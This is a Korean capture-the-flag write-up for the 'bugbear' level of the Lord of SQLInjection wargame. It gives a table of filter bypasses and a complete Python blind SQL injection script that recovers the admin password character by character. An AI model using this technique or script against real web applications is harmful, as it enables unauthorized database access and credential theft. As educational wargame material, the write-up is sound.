본문 바로가기

보안공부/Lord of SQLInjection 풀이

Lord of SQLInjection BUGBEAR 풀이

오랜만에 SQL Injection을 잡으니 푸는데 생각보다 시간이 오래 걸렸던 것 같다.

역시... 컴퓨터는... 놓으면 바로 잊는... 망각의 기술... ㅠㅠㅠ

 

문제를 보면 아래와 같이 pw값과 no 값을 받는 것을 확인할 수 있다.

이 때 보면 pw는 single quote(')를 막고 있기 때문에 힘들고, 비교적 필터링이 덜한 no를 공격하면 될 것으로 예상할 수 있다.

 

그럼 이제 쿼리를 만들기 위해 필터링된 문자와 대체할 수 있는 문자를 알아보면 다음과 같습니다.

필터링되는 단어 치환
single quote(') double quote(")
substr mid
space( ) %09(tab space)
like in
or ||
and &&

 

위 치환 테이블을 코드에 적용하면 다음과 같습니다.

더보기
import requests
import sys
URL = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
Sess = {'PHPSESSID': '7070f42ir6isunbc6l51bslk7u'}
ConfirmKey = "Hello admin"
FilterKey = "HeHe"
Dict = '0123456789qwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
Colors = ["\033[37m", "\033[32m", "\033[31m"]
def sendReq(payload):
    return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
    ReqResult = sendReq({"pw":"1", "no": "1	||	id	in	(\"admin\")	&&	length(pw)	in	(\"" + str(length) + "\")"}).text
    if ConfirmKey in ReqResult:
        print(Colors[1] + "[+] Found length : " + str(length) + Colors[0])
        break
    elif FilterKey in ReqResult and ReqResult.count(FilterKey) == 1:
        print(Colors[2] + "[!] Text filtered. Terminating process..." + Colors[0])
        sys.exit()
        break
    else:
        print(Colors[2] + "[-] Failed : " + str(length) + Colors[0])
        length+=1

print("[*] Looking for password")
while True:
    for Current in Dict:
        ReqResult = sendReq({"pw":"1", "no": "1	||	id	in	(\"admin\")	&&	length(pw)	in	(\"" + str(length) + "\")	&&	mid(pw," + str(len(password) + 1) + ",1)	in	(\"" + str(Current) + "\")"}).text
        if ConfirmKey in ReqResult:
            password+= Current
            print(Colors[1] + "[+] Found password of state " + str(len(password)) + " : " + str(Current))
            print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password + Colors[0])
            if len(password) == length:
                break
        else:
            print(Colors[2] + "[-] Tried : " + str(Current) + Colors[0])
    if len(password) == length:
        break
    else:
        print(Colors[1] + "[*] One loop done [" + str(len(password)) + " , " + password + "]" + Colors[0])
print(Colors[1] + "\n[*] Job Done!\n[LENGTH] " + str(length) + "\n[PASSWORD] " + str(password) + Colors[0])

 

위 코드를 실행하게 되면 다음과 같이 비밀번호가 나오게 된다.

문제의 재미를 증진시켜드리기 위해 직접적인 비밀번호는 가렸습니다.

 

위 비밀번호를 pw 파라미터로 보내게 되면 문제가 풀리게 됩니다.